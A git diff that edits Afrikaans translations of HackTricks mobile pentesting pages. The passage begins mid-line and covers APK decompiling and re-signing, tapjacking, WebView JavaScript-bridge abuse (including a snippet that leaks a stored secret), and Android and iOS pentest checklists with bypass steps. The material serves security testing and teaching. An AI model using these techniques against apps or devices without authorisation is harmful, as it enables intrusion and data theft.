[https://spaceraccoon.github.io/webpack-exploder/](https://sp 3. Klik op "Sources" in die Ontwikkelaar Toolbar. U behoort 'n JavaScript-lêer te sien wat in vouers en lêers verdeel is, wat die hoofpakket vorm. -As u 'n lêer met die naam `index.android.bundle.map` vind, sal u in staat wees om die bronkode in 'n ongeminifiseerde formaat te analiseer. Kaartlêers bevat bronkaarte, wat u toelaat om geminifiseerde identifiseerders te kaart. +As u 'n lêer genaamd `index.android.bundle.map` vind, sal u in staat wees om die bronkode in 'n ongeminifiseerde formaat te analiseer. Kaartlêers bevat bronkaarte, wat u toelaat om geminifiseerde identifiseerders te kaart. Om sensitiewe akrediteerbare en eindpunte te soek, volg hierdie stappe: diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index c06e00aa4..86b175048 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -9,7 +9,7 @@ Android-apps kan native biblioteke gebruik, tipies geskryf in C of C++, vir pres ### Sleutelpunte: - **Native Biblioteke in Android Apps:** -- Gebruik vir prestasiekritieke take. +- Gebruik vir prestasiewe intensive take. - Geskryf in C of C++, wat omgekeerde ingenieurswerk uitdagend maak. - Gevind in `.so` (gedeelde objek) formaat, soortgelyk aan Linux binêre. - Malware-skeppers verkies native kode om analise moeiliker te maak. @@ -27,7 +27,7 @@ Android-apps kan native biblioteke gebruik, tipies geskryf in C of C++, vir pres - **Omgekeerde Ingenieursgereedskap en Tegnieke:** - Gereedskap soos Ghidra en IDA Pro help om native biblioteke te analiseer. - `JNIEnv` is noodsaaklik om JNI-funksies en interaksies te verstaan. -- Oefeninge word verskaf om biblioteke te laai, metodes te koppel en native funksies te identifiseer. +- Oefeninge word verskaf om te oefen met die laai van biblioteke, die koppeling van metodes, en die identifisering van native funksies. ### Hulpbronne: diff --git a/src/mobile-pentesting/android-app-pentesting/smali-changes.md b/src/mobile-pentesting/android-app-pentesting/smali-changes.md index 615d6a1d2..f839617a9 100644 --- a/src/mobile-pentesting/android-app-pentesting/smali-changes.md +++ b/src/mobile-pentesting/android-app-pentesting/smali-changes.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -Soms is dit interessant om die toepassingskode te wysig om toegang te verkry tot verborge inligting vir jou (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te decompileer, die kode te wysig en dit weer te compileer. +Soms is dit interessant om die toepassingskode te wysig om toegang te verkry tot verborge inligting vir jou (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te dekompileer, die kode te wysig en dit weer te compileer. **Opcodes verwysing:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) -## Vinige Manier +## Vinninge Weg -Met **Visual Studio Code** en die [APKLab](https://github.com/APKLab/APKLab) uitbreiding, kan jy **automaties decompileer**, wysig, **hercompileer**, teken & installeer die toepassing sonder om enige opdrag uit te voer. +Met **Visual Studio Code** en die [APKLab](https://github.com/APKLab/APKLab) uitbreiding, kan jy **outomaties dekompileer**, wysig, **hercompileer**, teken & installeer die toepassing sonder om enige opdrag uit te voer. -Nog 'n **script** wat hierdie taak baie vergemaklik is [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh) +Nog 'n **script** wat hierdie taak baie vergemaklik, is [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh) -## Decompileer die APK +## Dekompileer die APK Met APKTool kan jy toegang verkry tot die **smali kode en hulpbronne**: ```bash @@ -40,7 +40,7 @@ Of jy kan [**onder kyk na sommige Smali veranderinge verduidelik**](smali-change ## Hernoem die APK -Na die wysiging van die kode kan jy die kode **hernoem** met: +Na die aanpassing van die kode kan jy die kode **hernoem** met: ```bash apktool b . #In the folder generated when you decompiled the application ``` @@ -60,7 +60,7 @@ jarsigner -keystore key.jks path/to/dist/* ``` ### Optimaliseer nuwe aansoek -**zipalign** is 'n argiefuitlijningstoepassing wat belangrike optimalisering aan Android-toepassing (APK) lêers bied. [More information here](https:// +**zipalign** is 'n argief-uitlyn hulpmiddel wat belangrike optimalisering aan Android aansoek (APK) lêers bied. [More information here](https://developer.android.com/studio/command-line/zipalign). ```bash zipalign [-f] [-v] infile.apk outfile.apk zipalign -v 4 infile.apk diff --git a/src/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md b/src/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md index c8be1c655..938cbd446 100644 --- a/src/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md +++ b/src/mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md @@ -1,6 +1,6 @@ {{#include ../../banners/hacktricks-training.md}} -In situasies waar 'n toepassing beperk is tot sekere lande, en jy nie in staat is om dit op jou Android-toestel te installeer weens streekbeperkings nie, kan die vervalsing van jou ligging na 'n land waar die toepassing beskikbaar is, jou toegang gee. Die stappe hieronder beskryf hoe om dit te doen: +In situasies waar 'n toepassing beperk is tot sekere lande, en jy nie in staat is om dit op jou Android-toestel te installeer weens streekbeperkings nie, kan die spoofing van jou ligging na 'n land waar die toepassing beskikbaar is, jou toegang gee. Die stappe hieronder verduidelik hoe om dit te doen: 1. **Installeer Hotspot Shield Free VPN Proxy:** @@ -28,7 +28,7 @@ In situasies waar 'n toepassing beperk is tot sekere lande, en jy nie in staat i - Die doeltreffendheid van hierdie metode kan verskil op grond van verskeie faktore, insluitend die betroubaarheid van die VPN-diens en die spesifieke streekbeperkings wat deur die toepassing opgelê word. - Gereelde gebruik van 'n VPN kan die prestasie van sommige toepassings en dienste beïnvloed. -- Wees bewus van die diensvoorwaardes vir enige toepassing of diens wat jy gebruik, aangesien die gebruik van 'n VPN om streekbeperkings te omseil, daardie voorwaardes mag oortree. +- Wees bewus van die diensvoorwaardes vir enige toepassing of diens wat jy gebruik, aangesien die gebruik van 'n VPN om streekbeperkings te omseil, daardie voorwaardes kan oortree. ## References diff --git a/src/mobile-pentesting/android-app-pentesting/tapjacking.md b/src/mobile-pentesting/android-app-pentesting/tapjacking.md index 9e0df0bcf..888d13f95 100644 --- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -2,6 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} + ## **Basiese Inligting** **Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** geloods word en **homself bo-op 'n slagoffer-toepassing posisioneer**. Sodra dit die slagoffer-toepassing sigbaar obscuur, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer-toepassing oorgedra.\ @@ -9,7 +10,7 @@ In werklikheid, dit is **blind die gebruiker van die kennis dat hulle eintlik ak ### Opsporing -Om toepassings wat kwesbaar is vir hierdie aanval te ontdek, moet jy soek na **geëksporteerde aktiwiteite** in die android-manifes (let daarop dat 'n aktiwiteit met 'n intent-filter outomaties standaard geëksporteer word). Sodra jy die geëksporteerde aktiwiteite gevind het, **kontroleer of hulle enige toestemming vereis**. Dit is omdat die **kwaadwillige toepassing daardie toestemming ook nodig sal hê**. +Om toepassings wat kwesbaar is vir hierdie aanval te spoor, moet jy soek na **geëksporteerde aktiwiteite** in die android-manifes (let daarop dat 'n aktiwiteit met 'n intent-filter outomaties geëksporteer word as standaard). Sodra jy die geëksporteerde aktiwiteite gevind het, **kontroleer of hulle enige toestemming vereis**. Dit is omdat die **kwaadwillige toepassing daardie toestemming ook nodig sal hê**. ### Beskerming @@ -43,7 +44,7 @@ Volg die **README-instruksies om dit te gebruik**. ### FloatingWindowApp -'n Voorbeeldprojek wat **FloatingWindowApp** implementeer, wat gebruik kan word om bo ander aktiwiteite te plaas om 'n clickjacking-aanval uit te voer, kan gevind word in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (bietjie oud, goeie geluk met die bou van die apk). +'n Voorbeeldprojek wat **FloatingWindowApp** implementeer, wat gebruik kan word om bo ander aktiwiteite te plaas om 'n clickjacking-aanval uit te voer, kan gevind word in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (dit is 'n bietjie oud, goeie geluk met die bou van die apk). ### Qark @@ -54,7 +55,7 @@ Jy kan [**qark**](https://github.com/linkedin/qark) gebruik met die `--exploit-a Die versagting is relatief eenvoudig aangesien die ontwikkelaar kan kies om nie aanraakgebeurtenisse te ontvang wanneer 'n weergawe deur 'n ander bedek is nie. Gebruik die [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security): -> Soms is dit noodsaaklik dat 'n toepassing in staat is om te verifieer dat 'n aksie uitgevoer word met die volle kennis en toestemming van die gebruiker, soos om 'n toestemming versoek toe te staan, 'n aankoop te doen of op 'n advertensie te klik. Ongelukkig kan 'n kwaadwillige toepassing probeer om die gebruiker te mislei om hierdie aksies uit te voer, sonder dat hulle daarvan bewus is, deur die beoogde doel van die weergawe te verberg. As 'n remedie bied die raamwerk 'n aanraakfiltermeganisme wat gebruik kan word om die sekuriteit van weergawes wat toegang tot sensitiewe funksionaliteit bied, te verbeter. +> Soms is dit noodsaaklik dat 'n toepassing in staat is om te verifieer dat 'n aksie uitgevoer word met die volle kennis en toestemming van die gebruiker, soos om 'n toestemming versoek toe te staan, 'n aankoop te doen of op 'n advertensie te klik. Ongelukkig kan 'n kwaadwillige toepassing probeer om die gebruiker te mislei om hierdie aksies uit te voer, sonder dat hulle daarvan bewus is, deur die beoogde doel van die weergawe te verberg. As 'n remedie bied die raamwerk 'n aanraakfiltrering-meganisme wat gebruik kan word om die sekuriteit van weergawes wat toegang tot sensitiewe funksionaliteit bied, te verbeter. > > Om aanraakfiltrering in te skakel, bel [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) of stel die android:filterTouchesWhenObscured uitleg eienskap op waar. Wanneer geaktiveer, sal die raamwerk aanrakings wat ontvang word wanneer die weergawe se venster deur 'n ander sigbare venster bedek is, verwerp. As gevolg hiervan sal die weergawe nie aanrakings ontvang wanneer 'n toast, dialoog of ander venster bo die weergawe se venster verskyn nie. diff --git a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md index 79090626e..d600ade39 100644 --- a/src/mobile-pentesting/android-app-pentesting/webview-attacks.md +++ b/src/mobile-pentesting/android-app-pentesting/webview-attacks.md @@ -12,14 +12,14 @@ ### **Lêer Toegang in WebViews** -Standaard laat WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die `setAllowFileAccess()` metode, beskikbaar sedert Android API vlak 3 (Cupcake 1.5). Toepassings met die **android.permission.READ_EXTERNAL_STORAGE** toestemming kan lêers van eksterne stoor gebruik maak met 'n lêer-URL skema (`file://path/to/file`). +Standaard laat WebViews lêertoegang toe. Hierdie funksionaliteit word beheer deur die `setAllowFileAccess()` metode, beskikbaar sedert Android API-vlak 3 (Cupcake 1.5). Toepassings met die **android.permission.READ_EXTERNAL_STORAGE** toestemming kan lêers van eksterne stoorplek lees met 'n lêer-URL skema (`file://path/to/file`). #### **Verouderde Kenmerke: Universele en Lêer Toegang Vanaf URL's** -- **Universele Toegang Vanaf Lêer URL's**: Hierdie verouderde kenmerk het kruis-oorsprong versoeke vanaf lêer URL's toegelaat, wat 'n beduidende sekuriteitsrisiko inhou weens potensiële XSS-aanvalle. Die standaardinstelling is gedeaktiveer (`false`) vir toepassings wat op Android Jelly Bean en nuwer teiken. +- **Universele Toegang Vanaf Lêer-URL's**: Hierdie verouderde kenmerk het kruis-oorsprong versoeke vanaf lêer-URL's toegelaat, wat 'n beduidende sekuriteitsrisiko inhou weens potensiële XSS-aanvalle. Die standaardinstelling is gedeaktiveer (`false`) vir toepassings wat op Android Jelly Bean en nuwer teiken. - Om hierdie instelling te kontroleer, gebruik `getAllowUniversalAccessFromFileURLs()`. - Om hierdie instelling te wysig, gebruik `setAllowUniversalAccessFromFileURLs(boolean)`. -- **Lêer Toegang Vanaf Lêer URL's**: Hierdie kenmerk, ook verouderd, het toegang tot inhoud vanaf ander lêer skema URL's beheer. Soos universele toegang, is die standaard gedeaktiveer vir verbeterde sekuriteit. +- **Lêer Toegang Vanaf Lêer-URL's**: Hierdie kenmerk, ook verouderd, het toegang tot inhoud vanaf ander lêer skema-URL's beheer. Soos universele toegang, is die standaard gedeaktiveer vir verbeterde sekuriteit. - Gebruik `getAllowFileAccessFromFileURLs()` om te kontroleer en `setAllowFileAccessFromFileURLs(boolean)` om in te stel. #### **Veilige Lêer Laai** @@ -31,7 +31,7 @@ Om lêerstelsels toegang te deaktiveer terwyl bates en hulpbronne steeds toegank #### **WebViewAssetLoader** -Die **WebViewAssetLoader** klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s) URL's om toegang tot plaaslike bates en hulpbronne te verkry, wat ooreenstem met die Same-Origin beleid, en fasiliteer dus CORS bestuur. +Die **WebViewAssetLoader** klas is die moderne benadering vir die laai van plaaslike lêers. Dit gebruik http(s) URL's om toegang tot plaaslike bates en hulpbronne te verkry, wat ooreenstem met die Same-Origin beleid, en fasiliteer dus CORS-bestuur. ### loadUrl @@ -44,7 +44,7 @@ Ofc, 'n potensiële aanvaller moet nooit in staat wees om die **URL** te **behee ### **JavaScript en Intent Skema Hantering** - **JavaScript**: Standaard gedeaktiveer in WebViews, dit kan geaktiveer word via `setJavaScriptEnabled()`. Versigtigheid word aanbeveel aangesien die aktivering van JavaScript sonder behoorlike beskerming sekuriteitskwesbaarhede kan inbring. -- **Intent Skema**: WebViews kan die `intent` skema hanteer, wat moontlik kan lei tot ontploffings as dit nie versigtig bestuur word nie. 'n Voorbeeld van 'n kwesbaarheid het 'n blootgestelde WebView parameter "support_url" ingesluit wat benut kon word om cross-site scripting (XSS) aanvalle uit te voer. +- **Intent Skema**: WebViews kan die `intent` skema hanteer, wat moontlik kan lei tot ontploffings as dit nie versigtig bestuur word nie. 'n Voorbeeld kwesbaarheid het 'n blootgestelde WebView parameter "support_url" ingesluit wat benut kon word om cross-site scripting (XSS) aanvalle uit te voer. ![Vulnerable WebView](<../../images/image (1191).png>) @@ -67,7 +67,7 @@ public String getSecret() { return "SuperSecretPassword"; }; ``` -- JavaScript-brug is geaktiveer deur 'n koppelvlak by die WebView te voeg: +- JavaScript-brug is geaktiveer deur 'n koppelvlak aan die WebView toe te voeg: ```javascript webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge") webView.reload() @@ -78,11 +78,11 @@ webView.reload() alert(javascriptBridge.getSecret()) ``` -- Om risiko's te verminder, **beperk die gebruik van die JavaScript-brug** tot kode wat saam met die APK gestuur is en voorkom die laai van JavaScript vanaf afstandbronne. Stel vir ouer toestelle die minimum API-vlak op 17. +- Om risiko's te verminder, **beperk die gebruik van die JavaScript-brug** tot kode wat saam met die APK gestuur is en verhoed dat JavaScript van afstandbronne gelaai word. Stel vir ouer toestelle die minimum API-vlak op 17. ### Refleksie-gebaseerde Afstandkode-uitvoering (RCE) -- 'n Gedokumenteerde metode maak dit moontlik om RCE te bereik deur refleksie deur 'n spesifieke payload uit te voer. Die `@JavascriptInterface` annotasie voorkom egter ongeoorloofde metode-toegang, wat die aanvaloppervlak beperk. +- 'n Gedokumenteerde metode maak dit moontlik om RCE deur refleksie te bereik deur 'n spesifieke payload uit te voer. Die `@JavascriptInterface` annotasie verhoed egter ongeoorloofde metode-toegang, wat die aanvaloppervlak beperk. ### Afstandfoutopsporing diff --git a/src/mobile-pentesting/android-checklist.md b/src/mobile-pentesting/android-checklist.md index 1f8e416a2..d617f0930 100644 --- a/src/mobile-pentesting/android-checklist.md +++ b/src/mobile-pentesting/android-checklist.md @@ -12,7 +12,7 @@ - [ ] [URL Skemas](android-app-pentesting/#url-schemes) - [ ] [Inhoud Verskaffers](android-app-pentesting/#services) - [ ] [Dienste](android-app-pentesting/#services-1) -- [ ] [Uitzend Ontvangers](android-app-pentesting/#broadcast-receivers) +- [ ] [Uitsendingsontvangers](android-app-pentesting/#broadcast-receivers) - [ ] [Intensies](android-app-pentesting/#intents) - [ ] [Intent Filter](android-app-pentesting/#intent-filter) - [ ] [Ander komponente](android-app-pentesting/#other-app-components) @@ -31,7 +31,7 @@ - [ ] Geëksporteerde Aktiwiteite - [ ] Inhoud Verskaffers - [ ] Blootgestelde dienste -- [ ] Uitzend Ontvangers +- [ ] Uitsendingsontvangers - [ ] URL Skemas - [ ] Is die toepassing s[aving data insecurely internally or externally](android-app-pentesting/#insecure-data-storage)? - [ ] Is daar enige [wagwoord hard gekodeer of op skyf gestoor](android-app-pentesting/#poorkeymanagementprocesses)? Gebruik die app [insecurely crypto algorithms](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)? @@ -43,14 +43,14 @@ - [ ] Berei die omgewing voor ([aanlyn](android-app-pentesting/#online-dynamic-analysis), [lokale VM of fisies](android-app-pentesting/#local-dynamic-analysis)) - [ ] Is daar enige [onbedoelde data lekkasie](android-app-pentesting/#unintended-data-leakage) (logging, kopie/plak, crash logs)? - [ ] [Vertroulike inligting wat in SQLite dbs gestoor word](android-app-pentesting/#sqlite-dbs)? -- [ ] [Ontginbare blootgestelde Aktiwiteite](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)? -- [ ] [Ontginbare Inhoud Verskaffers](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)? -- [ ] [Ontginbare blootgestelde Dienste](android-app-pentesting/#exploiting-services)? -- [ ] [Ontginbare Uitzend Ontvangers](android-app-pentesting/#exploiting-broadcast-receivers)? +- [ ] [Uitspeelbare geëksporteerde Aktiwiteite](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)? +- [ ] [Uitspeelbare Inhoud Verskaffers](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)? +- [ ] [Uitspeelbare blootgestelde Dienste](android-app-pentesting/#exploiting-services)? +- [ ] [Uitspeelbare Uitsendingsontvangers](android-app-pentesting/#exploiting-broadcast-receivers)? - [ ] Is die toepassing [inligting in duidelike teks oordra/gebruik swak algoritmes](android-app-pentesting/#insufficient-transport-layer-protection)? Is 'n MitM moontlik? - [ ] [Inspekteer HTTP/HTTPS verkeer](android-app-pentesting/#inspecting-http-traffic) - [ ] Hierdie een is regtig belangrik, want as jy die HTTP-verkeer kan vang, kan jy soek na algemene Web kwesbaarhede (Hacktricks het baie inligting oor Web kwesbaarhede). -- [ ] Kontroleer vir moontlike [Android Client Side Injections](android-app-pentesting/#android-client-side-injections-and-others) (waarskynlik sal 'n paar statiese kode analise hier help) +- [ ] Kontroleer vir moontlike [Android Client Side Injections](android-app-pentesting/#android-client-side-injections-and-others) (waarskynlik sal 'n bietjie statiese kode analise hier help) - [ ] [Frida](android-app-pentesting/#frida): Net Frida, gebruik dit om interessante dinamiese data van die toepassing te verkry (miskien 'n paar wagwoorde...) ### Sommige obfuscation/Deobfuscation inligting diff --git a/src/mobile-pentesting/cordova-apps.md b/src/mobile-pentesting/cordova-apps.md index 984b02c34..14f095f57 100644 --- a/src/mobile-pentesting/cordova-apps.md +++ b/src/mobile-pentesting/cordova-apps.md @@ -4,7 +4,7 @@ **Vir verdere besonderhede kyk na [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Dit is 'n opsomming: -Apache Cordova is bekend vir die moontlikheid om **hybride toepassings** te ontwikkel met **JavaScript, HTML, en CSS**. Dit maak die skepping van Android en iOS toepassings moontlik; egter, dit het nie 'n standaardmeganisme om die toepassings se bronkode te beveilig nie. In teenstelling met React Native, kompileer Cordova nie die bronkode nie, wat kan lei tot kwesbaarhede in kode-manipulasie. Cordova gebruik WebView om toepassings te vertoon, wat die HTML en JavaScript kode blootstel selfs nadat dit in APK of IPA lêers gekompileer is. React Native, aan die ander kant, gebruik 'n JavaScript VM om JavaScript kode uit te voer, wat beter beskerming van die bronkode bied. +Apache Cordova is bekend vir die moontlikheid om **hibridetoepassings** te ontwikkel met **JavaScript, HTML, en CSS**. Dit maak die skepping van Android en iOS toepassings moontlik; egter, dit het nie 'n standaardmeganisme om die toepassings se bronkode te beveilig nie. In teenstelling met React Native, kompileer Cordova nie die bronkode nie, wat kan lei tot kwesbaarhede in kode-manipulasie. Cordova gebruik WebView om toepassings te vertoon, wat die HTML en JavaScript kode blootstel selfs nadat dit in APK of IPA lêers gekompileer is. React Native, aan die ander kant, gebruik 'n JavaScript VM om JavaScript kode uit te voer, wat beter beskerming van die bronkode bied. ### Kloning van 'n Cordova Toepassing @@ -22,9 +22,9 @@ Kopieer die inhoud van `bank/assets/www` na `bank-new/www`, met uitsluiting van Specifiseer die platform (Android of iOS) wanneer jy 'n nuwe Cordova-projek skep. Vir die kloon van 'n Android-app, voeg die Android-platform by. Let daarop dat Cordova se platformweergawe en Android API-vlakke verskillend is. Verwys na die Cordova [documentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) vir besonderhede oor platformweergawe en ondersteunde Android API's. -Om die toepaslike Cordova Android-platformweergawe te bepaal, kyk na die `PLATFORM_VERSION_BUILD_LABEL` in die oorspronklike toepassing se `cordova.js`-lêer. +Om die toepaslike Cordova Android-platformweergawe te bepaal, kyk na die `PLATFORM_VERSION_BUILD_LABEL` in die oorspronklike aansoek se `cordova.js`-lêer. -Nadat die platform opgestel is, installeer die vereiste plugins. Die oorspronklike toepassing se `bank/assets/www/cordova_plugins.js`-lêer lys al die plugins en hul weergawes. Installeer elke plugin individueel soos hieronder getoon: +Nadat die platform opgestel is, installeer die vereiste plugins. Die oorspronklike aansoek se `bank/assets/www/cordova_plugins.js`-lêer lys al die plugins en hul weergawes. Installeer elke plugin individueel soos hieronder getoon: ```bash cd bank-new cordova plugin add cordova-plugin-dialogs@2.0.1 diff --git a/src/mobile-pentesting/ios-pentesting-checklist.md b/src/mobile-pentesting/ios-pentesting-checklist.md index 17ab1723e..5b1cd35f9 100644 --- a/src/mobile-pentesting/ios-pentesting-checklist.md +++ b/src/mobile-pentesting/ios-pentesting-checklist.md @@ -18,7 +18,7 @@ - [ ] [**Couchbase Lite-databasisse**](ios-pentesting/#couchbase-lite-databases) kan sensitiewe inligting stoor. - [ ] [**Binaire koekies**](ios-pentesting/#cookies) kan sensitiewe inligting stoor - [ ] [**Cache data**](ios-pentesting/#cache) kan sensitiewe inligting stoor -- [ ] [**Outomatiese snapshots**](ios-pentesting/#snapshots) kan visuele sensitiewe inligting stoor +- [ ] [**Outomatiese skote**](ios-pentesting/#snapshots) kan visuele sensitiewe inligting stoor - [ ] [**Keychain**](ios-pentesting/#keychain) word gewoonlik gebruik om sensitiewe inligting te stoor wat agtergelaat kan word wanneer die telefoon weer verkoop word. - [ ] In samevatting, net **kyk vir sensitiewe inligting wat deur die toepassing in die lêerstelsel gestoor is** @@ -34,7 +34,7 @@ ### Rugsteun - [ ] [**Rugsteun**](ios-pentesting/#backups) kan gebruik word om **toegang tot die sensitiewe inligting** wat in die lêerstelsel gestoor is (kyk na die aanvanklike punt van hierdie kontrolelys) -- [ ] Ook, [**rugsteun**](ios-pentesting/#backups) kan gebruik word om **sekere konfigurasies van die toepassing te wysig**, dan **herstel** die rugsteun op die telefoon, en soos die **gewysigde konfigurasie** is **gelaai** kan sommige (sekuriteit) **funksionaliteit** **omseil** word +- [ ] Ook, [**rugsteun**](ios-pentesting/#backups) kan gebruik word om **sekere konfigurasies van die toepassing te wysig**, dan **herstel** die rugsteun op die telefoon, en soos die **gewysigde konfigurasie** **gelaai** word, kan sommige (sekuriteit) **funksionaliteit** **omseil** word ### **Toepassingsgeheue** @@ -50,7 +50,7 @@ - [ ] As 'n [**plaaslike verifikasie**](ios-pentesting/#local-authentication) in die toepassing gebruik word, moet jy kyk hoe die verifikasie werk. - [ ] As dit die [**Plaaslike Verifikasie Raamwerk**](ios-pentesting/#local-authentication-framework) gebruik, kan dit maklik omseil word -- [ ] As dit 'n [**funksie gebruik wat dinamies omseil kan word**](ios-pentesting/#local-authentication-using-keychain) kan jy 'n pasgemaakte frida-skrip skep +- [ ] As dit 'n [**funksie wat dinamies omseil kan word**](ios-pentesting/#local-authentication-using-keychain) gebruik, kan jy 'n pasgemaakte frida-skrip skep ### Sensitiewe Funksionaliteit Blootstelling Deur IPC @@ -69,19 +69,19 @@ - [ ] Kyk of die toepassing UIActivities kan ontvang en of dit moontlik is om enige kwesbaarheid met spesiaal saamgestelde aktiwiteit uit te buit - [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) - [ ] Kyk of die toepassing **iets na die algemene plakbord kopieer** -- [ ] Kyk of die toepassing **die data van die algemene plakbord vir enigiets gebruik** +- [ ] Kyk of die toepassing **data van die algemene plakbord vir enigiets gebruik** - [ ] Monitor die plakbord om te sien of enige **sensitiewe data gekopieer word** - [**App Uitbreidings**](ios-pentesting/ios-app-extensions.md) - [ ] Gebruik die toepassing **enige uitbreiding**? - [**WebViews**](ios-pentesting/ios-webviews.md) - [ ] Kyk watter soort webviews gebruik word - [ ] Kyk die status van **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** -- [ ] Kyk of die webview **toegang tot plaaslike lêers** kan kry met die protokol **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) -- [ ] Kyk of Javascript toegang kan kry tot **Native** **metodes** (`JSContext`, `postMessage`) +- [ ] Kyk of die webview **lokale lêers** met die protokol **file://** kan **toegang** ( `allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) +- [ ] Kyk of Javascript **Native** **metodes** (`JSContext`, `postMessage`) kan toegang ### Netwerk Kommunikasie -- [ ] Voer 'n [**MitM na die kommunikasie**](ios-pentesting/#network-communication) uit en soek na web kwesbaarhede. +- [ ] Voer 'n [**MitM op die kommunikasie**](ios-pentesting/#network-communication) uit en soek na web kwesbaarhede. - [ ] Kyk of die [**hostname van die sertifikaat**](ios-pentesting/#hostname-check) nagegaan word - [ ] Kyk/Omseil [**Sertifikaat Pinning**](ios-pentesting/#certificate-pinning) diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index dcf78f57d..02c2ed454 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -20,7 +20,7 @@ ios-testing-environment.md ### Basic iOS Testing Operations -Tydens die toetsing **sal verskeie operasies voorgestel word** (verbinde met die toestel, lees/skryf/oplaai/aflaai van lêers, gebruik van sommige gereedskap...). Daarom, as jy nie weet hoe om enige van hierdie aksies uit te voer nie, **begin asseblief om die bladsy te lees**: +Tydens die toetsing **sal verskeie operasies voorgestel word** (verbinding maak met die toestel, lêers lees/schryf/oplaai/aflaai, sommige gereedskap gebruik...). Daarom, as jy nie weet hoe om enige van hierdie aksies uit te voer nie, **begin asseblief om die bladsy te lees**: {{#ref}} basic-ios-testing-operations.md @@ -41,7 +41,7 @@ Dit word aanbeveel om die gereedskap [**MobSF**](https://github.com/MobSF/Mobile Identifikasie van **beskermings wat in die binêre teenwoordig is**: -- **PIE (Position Independent Executable)**: Wanneer geaktiveer, laai die toepassing in 'n ewekansige geheue adres elke keer wanneer dit begin, wat dit moeiliker maak om sy aanvanklike geheue adres te voorspel. +- **PIE (Position Independent Executable)**: Wanneer geaktiveer, laai die toepassing in 'n ewekansige geheue adres elke keer as dit begin, wat dit moeiliker maak om sy aanvanklike geheue adres te voorspel. ```bash otool -hv | grep PIE # Dit moet die PIE-vlag insluit @@ -135,7 +135,7 @@ grep -iER "_vsprintf" ### Basic Dynamic Analysis -Kyk na die dinamiese analise wat [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) uitvoer. Jy sal deur die verskillende weergawes moet navigeer en met hulle moet interaksie hê, maar dit sal verskeie klasse aanraak terwyl dit ander dinge doen en 'n verslag voorberei sodra jy klaar is. +Kyk na die dinamiese analise wat [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) uitvoer. Jy sal deur die verskillende weergawes moet navigeer en met hulle moet interaksie hê, maar dit sal verskeie klasse aanhaak terwyl dit ander dinge doen en 'n verslag voorberei sodra jy klaar is. ### Listing Installed Apps @@ -168,7 +168,7 @@ Die struktuur van 'n **IPA-lêer** is essensieel dié van 'n **gecomprimeerde pa - **`_CodeSignature/`**: Hierdie gids sluit 'n plist-lêer in wat 'n handtekening bevat, wat die integriteit van alle lêers in die bundel verseker. - **`Assets.car`**: 'n Gecomprimeerde argief wat hulpbronlêers soos ikone stoor. - **`Frameworks/`**: Hierdie gids huisves die toepassing se inheemse biblioteke, wat in die vorm van `.dylib` of `.framework` lêers kan wees. -- **`PlugIns/`**: Dit kan uitbreidings van die toepassing insluit, bekend as `.appex` lêers, alhoewel hulle nie altyd teenwoordig is. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Dit word gebruik om jou toepassing se permanente data vir offline gebruik te stoor, om tydelike data te kas, en om ongedaan maak funksionaliteit aan jou app op 'n enkele toestel toe te voeg. Om data oor verskeie toestelle in 'n enkele iCloud-rekening te sinkroniseer, spieël Core Data outomaties jou skema na 'n CloudKit-container. +- **`PlugIns/`**: Dit kan uitbreidings van die toepassing insluit, bekend as `.appex` lêers, alhoewel hulle nie altyd teenwoordig is nie. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Dit word gebruik om jou toepassing se permanente data vir offline gebruik te stoor, om tydelike data te kas, en om ongedaan maak funksionaliteit aan jou app op 